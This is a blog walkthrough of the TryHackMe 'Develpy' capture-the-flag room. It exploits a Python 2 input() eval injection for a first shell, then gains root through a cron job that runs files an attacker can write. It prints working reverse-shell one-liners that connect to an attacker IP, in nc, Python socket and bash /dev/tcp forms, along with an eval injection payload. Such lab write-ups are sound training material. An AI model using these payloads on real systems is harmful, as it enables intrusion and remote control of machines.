narancs's blog

TryHackMe – Develpy

Introduction

Logo of Develpy room

This is a walk-through of Develpy room on TryHackMe. It is a medium difficulty room. We need to get initial access to the target through a vulnerably service that is executing Python code. Then we can get root access through another vulnerable Python app (a web application called DevelPy). I also found an easier way to get root access.

Enumeration

Note: I have added the IP address of the VM to /etc/hosts as develpy.thm, so I don’t have to use the IP

Results of nmap scan:

There are 2 open ports. SSH is running on port 22. Port 10000 is also open, however it seems to be a custom application, so nmap was not able to identify it.

We can see in the nmap output that the service prompts the user for an input:

				
					Please enther number of exploits to send??:
				
			

Then an error is received by nmap:

				
					Traceback (most recent call last):
File "./exploit.py", line 6, in <module>
num_exploits = int(input(' Please enther number of exploits to send??: '))
File "<string>", line 1, in <module>
NameError: name 'GET' is not defined
				
			

I tested the service by connecting to port 10000 via netcat. It prompts for an input expecting a number. Then it will output a text every second as many times as we specified in the input.

If we input something that is not a number, then we receive a similar error that is in the output of nmap.

We can see that the program fails at the following line:

				
					num_exploits = int(input(' Please enther number of exploits to send??: '))
				
			

Since it is throwing a NameError exception, we can already know that this is Python 2 code and the input function is vulnerable. In Python 2 there are 2 functions to take user input:

  • raw_input(): Reads a string from standard input ignoring the trailing newline.
  • input(): Equivalent to eval(raw_input(prompt)).
This means that using the input() function the user’s input gets passed to the eval function as well. So, for example we can type 2+3 or len([1,2,3,4,5]) as input, and the service on port 10000 will execute the code 5 times, because both of these expressions evaluate to 5.

We receive a NameError exception, because the eval() function tries to evaluate the string that we typed in, but a variable or a function does not exist with that name. If this would be a Python 3 code (where input() has been replaced by raw_input()), then we would receive a ValueError instead of NameError.

Exploitation

user.txt

We can also pass in function calls this way. To exploit this vulnerability, we can use the __import__() function to import the os module and execute commands using the system() method.

				
					__import__("os").system("ls -l")
				
			

This works, so now let’s run a reverse shell with the same method.

				
					__import__("os").system("nc -e /bin/sh 10.11.56.129 1234")
				
			

We gained access to the target. Let’s stabilize our shell and get the flag from user.txt file.

root.txt

I found 2 ways to escalate privileges to root. First I will show what I think would be the intended way.

The following files can be found in the user’s home directory:

  • credentials.png: I could not find out how to use this file…
  • root.sh: This can be interesting. This script runs every .py file in /root/company/media. We can see from /etc/crontab that this script gets executed by root every minute.
				
					python /root/company/media/*.py
				
			
  • run.sh: this is the file that exposes the Python script on port 10000. We notice that it uses socat, so we know it is installed on the host.
				
					#!/bin/bash
kill cat /home/king/.pid
socat TCP-LISTEN:10000,reuseaddr,fork EXEC:./exploit.py,pty,stderr,echo=0 &
echo $! > /home/king/.pid
				
			

We have found a potential escalation path to root. We just need to place our own Python file including reverse shell code into /root/company/media and it will be executed by root, so we get a root shell. But how can we place a file there?

I have checked listening ports on the target, and found that something is running on localhost:8080.

Since we know that socat is installed on the host, we can expose the service on a different port, so we can access it from our attacking machine.

				
					socat TCP-LISTEN:8081,fork TCP:localhost:8080
				
			

While this command is running, we can open the website at http://TARGET_IP:80801/. (I used develpy.thm as I added the IP of the machine to /etc/hosts.)

It is a web application called DevelPy, and it has a file upload feature. I uploaded a reverse shell with it, and it was uploaded to /media directory.

				
					import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.56.129",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
				
			

I started a listener and received a root shell when the code was executed via the cron job. (This directory is relative to /root/company, so the file was actually uploaded to /root/company/media directory.) The root flag is in /root/root.txt.

An easier way to root

The root.sh file that is being executed by the cron job as root is stored in the user’s home directory. We can delete any file in our home directory, even if it is not owned by us! So we can delete the file and re-create it with any content we want. So the only thing we need to do is remove the file and then place a reverse shell into the user’s home directory as root.sh (and add the executable permission to the file). Then we run a listener and wait for the cron job to execute our reverse shell code.

Note: by removing the original root.sh file, the exploit explained previously will not work anymore, because the code that executed the Python scripts as root was in this file 🙂

				
					rm root.sh
echo 'bash -i >& /dev/tcp/10.11.56.129/4242 0>&1' > root.sh
chmod +x root.sh
				
			

Table of Contents

Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments

Related posts

0
Would love your thoughts, please comment.x
()
x